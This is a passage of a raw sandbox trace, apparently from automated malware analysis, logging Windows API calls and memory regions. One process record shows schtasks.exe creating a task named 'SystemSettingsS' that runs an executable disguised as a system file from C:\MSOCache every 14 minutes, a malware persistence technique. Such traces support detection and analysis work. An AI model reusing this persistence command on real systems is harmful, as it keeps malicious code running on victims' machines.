(hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318b60) returned 1 [0132.273] GetProcessHeap () returned 0x1ae83310000 [0132.273] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318b60) returned 0x20 [0132.273] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318b60) returned 1 [0132.273] GetProcessHeap () returned 0x1ae83310000 [0132.273] GetProcessHeap () returned 0x1ae83310000 [0132.273] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318c50) returned 1 [0132.273] GetProcessHeap () returned 0x1ae83310000 [0132.273] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318c50) returned 0x20 [0132.274] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318c50) returned 1 [0132.274] GetProcessHeap () returned 0x1ae83310000 [0132.274] GetProcessHeap () returned 0x1ae83310000 [0132.274] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314080) returned 1 [0132.274] GetProcessHeap () returned 0x1ae83310000 [0132.274] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314080) returned 0x18 [0132.274] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314080) returned 1 [0132.274] GetProcessHeap () returned 0x1ae83310000 [0132.274] GetProcessHeap () returned 0x1ae83310000 [0132.274] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318d10) returned 1 [0132.274] GetProcessHeap () returned 0x1ae83310000 [0132.274] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318d10) returned 0x20 [0132.274] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318d10) returned 1 [0132.275] GetProcessHeap () returned 0x1ae83310000 [0132.275] GetProcessHeap () returned 0x1ae83310000 [0132.275] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314a80) returned 1 [0132.275] GetProcessHeap () returned 0x1ae83310000 [0132.275] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314a80) returned 0x18 [0132.275] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314a80) returned 1 [0132.275] exit (_Code=0) Thread: id = 154 os_tid = 0x1348 Process: id = "13" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x6ec86000" os_pid = "0x1344" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x11a8" cmd_line = "schtasks.exe /create /tn \"SystemSettingsS\" /sc MINUTE /mo 14 /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3050 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3051 start_va = 0x2253130000 end_va = 0x22531affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002253130000" filename = "" Region: id = 3052 start_va = 0x2253200000 end_va = 0x22533fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002253200000" filename = "" Region: id = 3053 start_va = 0x1685a790000 end_va = 0x1685a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685a790000" filename = "" Region: id = 3054 start_va = 0x1685a7b0000 end_va = 0x1685a7c4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685a7b0000" filename = "" Region: id = 3055 start_va = 0x1685a7d0000 end_va = 0x1685a7d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685a7d0000" filename = "" Region: id = 3056 start_va = 0x1685a7e0000 end_va = 0x1685a7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685a7e0000" filename = "" Region: id = 3057 start_va = 0x1685a7f0000 end_va = 0x1685a7f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685a7f0000" filename = "" Region: id = 3058 start_va = 0x7df5ffc40000 end_va = 0x7ff5ffc3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffc40000" filename = "" Region: id = 3059 start_va = 0x7ff6b6730000 end_va = 0x7ff6b6752fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b6730000" filename = "" Region: id = 3060 start_va = 0x7ff6b6f50000 end_va = 0x7ff6b6f8cfff monitored = 1 entry_point = 0x7ff6b6f74550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3061 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3062 start_va = 0x1685a800000 end_va = 0x1685aaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685a800000" filename = "" Region: id = 3063 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3064 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3065 start_va = 0x1685a790000 end_va = 0x1685a79ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685a790000" filename = "" Region: id = 3066 start_va = 0x7ff6b6630000 end_va = 0x7ff6b672ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b6630000" filename = "" Region: id = 3067 start_va = 0x1685a800000 end_va = 0x1685a8bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3068 start_va = 0x1685a9b0000 end_va = 0x1685aaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685a9b0000" filename = "" Region: id = 3069 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3070 start_va = 0x2253400000 end_va = 0x225347ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002253400000" filename = "" Region: id = 3071 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3072 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3073 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3074 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3075 start_va = 0x1685aab0000 end_va = 0x1685ac8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685aab0000" filename = "" Region: id = 3076 start_va = 0x1685a7a0000 end_va = 0x1685a7a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685a7a0000" filename = "" Region: id = 3077 start_va = 0x1685aab0000 end_va = 0x1685abf2fff monitored = 0 entry_point = 0x1685aad8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3078 start_va = 0x1685ac80000 end_va = 0x1685ac8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685ac80000" filename = "" Region: id = 3079 start_va = 0x1685a8c0000 end_va = 0x1685a8c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685a8c0000" filename = "" Region: id = 3080 start_va = 0x1685a8d0000 end_va = 0x1685a8e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3081 start_va = 0x1685ac90000 end_va = 0x1685afc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3082 start_va = 0x1685aab0000 end_va = 0x1685ab8cfff monitored = 0 entry_point = 0x1685ab0e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3083 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3084 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3085 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3086 start_va = 0x1685a8f0000 end_va = 0x1685a928fff monitored = 0 entry_point = 0x1685a8f12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3087 start_va = 0x1685aab0000 end_va = 0x1685ac37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685aab0000" filename = "" Region: id = 3088 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3089 start_va = 0x1685a8f0000 end_va = 0x1685a8f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685a8f0000" filename = "" Region: id = 3090 start_va = 0x1685a900000 end_va = 0x1685a900fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001685a900000" filename = "" Region: id = 3091 start_va = 0x1685afd0000 end_va = 0x1685b150fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685afd0000" filename = "" Region: id = 3092 start_va = 0x1685b160000 end_va = 0x1685c55ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685b160000" filename = "" Region: id = 3093 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3094 start_va = 0x1685a910000 end_va = 0x1685a910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685a910000" filename = "" Region: id = 3095 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3096 start_va = 0x1685a920000 end_va = 0x1685a920fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001685a920000" filename = "" Region: id = 3097 start_va = 0x7ffb18f90000 end_va = 0x7ffb1904efff monitored = 0 entry_point = 0x7ffb18fb1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3098 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3099 start_va = 0x7ffb190b0000 end_va = 0x7ffb190e5fff monitored = 0 entry_point = 0x7ffb190c0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 155 os_tid = 0x133c [0132.835] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6b6f50000 [0132.835] __set_app_type (_Type=0x1) [0132.835] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6b6f748d0) returned 0x0 [0132.835] __wgetmainargs (in: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008, _DoWildCard=0, _StartInfo=0x7ff6b6f88014 | out: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008) returned 0 [0132.836] _onexit (_Func=0x7ff6b6f77ec0) returned 0x7ff6b6f77ec0 [0132.836] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0132.836] CsrIdentifyAlertableThread () returned 0x0 [0132.837] GetProcessHeap () returned 0x1685a9b0000 [0132.837] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4e90 [0132.837] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.837] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0132.837] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0132.837] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0132.837] RtlVerifyVersionInfo (VersionInfo=0x22531af680, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0132.837] GetProcessHeap () returned 0x1685a9b0000 [0132.837] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4eb0 [0132.837] lstrlenW (lpString="") returned 0 [0132.837] GetProcessHeap () returned 0x1685a9b0000 [0132.837] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x2) returned 0x1685a9b4ed0 [0132.837] GetProcessHeap () returned 0x1685a9b0000 [0132.837] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b4840 [0132.837] GetProcessHeap () returned 0x1685a9b0000 [0132.837] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4870 [0132.837] GetProcessHeap () returned 0x1685a9b0000 [0132.837] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b4890 [0132.837] GetProcessHeap () returned 0x1685a9b0000 [0132.837] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b48c0 [0132.863] GetProcessHeap () returned 0x1685a9b0000 [0132.863] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b4430 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b8fc0 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4460 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b90b0 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b8e70 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b8ff0 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b91d0 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4480 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b8f90 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b90e0 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b9110 [0132.864] GetProcessHeap () returned 0x1685a9b0000 [0132.864] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b9140 [0132.864] SetThreadUILanguage (LangId=0x0) returned 0x409 [0132.867] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.867] GetProcessHeap () returned 0x1685a9b0000 [0132.867] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b91a0 [0132.867] GetProcessHeap () returned 0x1685a9b0000 [0132.867] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b8ea0 [0132.867] GetProcessHeap () returned 0x1685a9b0000 [0132.867] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b8ed0 [0132.867] GetProcessHeap () returned 0x1685a9b0000 [0132.867] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b9050 [0132.867] GetProcessHeap () returned 0x1685a9b0000 [0132.867] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b9170 [0132.867] GetProcessHeap () returned 0x1685a9b0000 [0132.867] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4c30 [0132.867] _memicmp (_Buf1=0x1685a9b4c30, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.867] GetProcessHeap () returned 0x1685a9b0000 [0132.867] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x208) returned 0x1685a9b9b10 [0132.867] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1685a9b9b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0132.867] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x22531af7d8 | out: lpdwHandle=0x22531af7d8) returned 0x76c [0132.876] GetProcessHeap () returned 0x1685a9b0000 [0132.876] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x776) returned 0x1685a9ba870 [0132.877] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1685a9ba870 | out: lpData=0x1685a9ba870) returned 1 [0132.877] VerQueryValueW (in: pBlock=0x1685a9ba870, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x22531af770, puLen=0x22531af7d0 | out: lplpBuffer=0x22531af770*=0x1685a9bac20, puLen=0x22531af7d0) returned 1 [0132.879] _memicmp (_Buf1=0x1685a9b4c30, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.880] _vsnwprintf (in: _Buffer=0x1685a9b9b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x22531af748 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0132.880] VerQueryValueW (in: pBlock=0x1685a9ba870, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x22531af760, puLen=0x22531af7c8 | out: lplpBuffer=0x22531af760*=0x1685a9baa50, puLen=0x22531af7c8) returned 1 [0132.880] lstrlenW (lpString="schtasks.exe") returned 12 [0132.880] lstrlenW (lpString="schtasks.exe") returned 12 [0132.880] lstrlenW (lpString=".EXE") returned 4 [0132.880] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0132.881] lstrlenW (lpString="schtasks.exe") returned 12 [0132.881] lstrlenW (lpString=".EXE") returned 4 [0132.881] _memicmp (_Buf1=0x1685a9b4c30, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.881] lstrlenW (lpString="schtasks") returned 8 [0132.881] GetProcessHeap () returned 0x1685a9b0000 [0132.881] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b8f30 [0132.881] GetProcessHeap () returned 0x1685a9b0000 [0132.881] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9b8f60 [0132.881] GetProcessHeap () returned 0x1685a9b0000 [0132.881] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb830 [0132.881] GetProcessHeap () returned 0x1685a9b0000 [0132.881] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb7a0 [0132.881] GetProcessHeap () returned 0x1685a9b0000 [0132.881] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4c50 [0132.881] _memicmp (_Buf1=0x1685a9b4c50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.881] GetProcessHeap () returned 0x1685a9b0000 [0132.881] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xa0) returned 0x1685a9b3870 [0132.881] GetProcessHeap () returned 0x1685a9b0000 [0132.881] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bbaa0 [0132.882] GetProcessHeap () returned 0x1685a9b0000 [0132.882] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb620 [0132.882] GetProcessHeap () returned 0x1685a9b0000 [0132.882] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb8f0 [0132.882] GetProcessHeap () returned 0x1685a9b0000 [0132.882] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4c70 [0132.882] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.882] GetProcessHeap () returned 0x1685a9b0000 [0132.882] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x200) returned 0x1685a9bbb40 [0132.882] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0132.882] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0132.882] GetProcessHeap () returned 0x1685a9b0000 [0132.882] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x30) returned 0x1685a9b3920 [0132.882] _vsnwprintf (in: _Buffer=0x1685a9b3870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x22531af748 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0132.882] GetProcessHeap () returned 0x1685a9b0000 [0132.882] GetProcessHeap () returned 0x1685a9b0000 [0132.882] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9ba870) returned 1 [0132.882] GetProcessHeap () returned 0x1685a9b0000 [0132.882] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9ba870) returned 0x776 [0132.884] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9ba870) returned 1 [0132.884] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.884] GetThreadLocale () returned 0x409 [0132.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.884] lstrlenW (lpString="?") returned 1 [0132.884] GetThreadLocale () returned 0x409 [0132.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.884] lstrlenW (lpString="create") returned 6 [0132.884] GetThreadLocale () returned 0x409 [0132.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.884] lstrlenW (lpString="delete") returned 6 [0132.884] GetThreadLocale () returned 0x409 [0132.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.884] lstrlenW (lpString="query") returned 5 [0132.884] GetThreadLocale () returned 0x409 [0132.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.884] lstrlenW (lpString="change") returned 6 [0132.884] GetThreadLocale () returned 0x409 [0132.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.967] lstrlenW (lpString="run") returned 3 [0132.967] GetThreadLocale () returned 0x409 [0132.967] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.967] lstrlenW (lpString="end") returned 3 [0132.967] GetThreadLocale () returned 0x409 [0132.967] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.967] lstrlenW (lpString="showsid") returned 7 [0132.967] GetThreadLocale () returned 0x409 [0132.967] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.967] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.967] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.967] lstrlenW (lpString="/create") returned 7 [0132.967] lstrlenW (lpString="-/") returned 2 [0132.967] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.967] lstrlenW (lpString="?") returned 1 [0132.967] lstrlenW (lpString="?") returned 1 [0132.967] GetProcessHeap () returned 0x1685a9b0000 [0132.967] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4350 [0132.967] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.967] GetProcessHeap () returned 0x1685a9b0000 [0132.967] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xa) returned 0x1685a9b4370 [0132.967] lstrlenW (lpString="create") returned 6 [0132.968] GetProcessHeap () 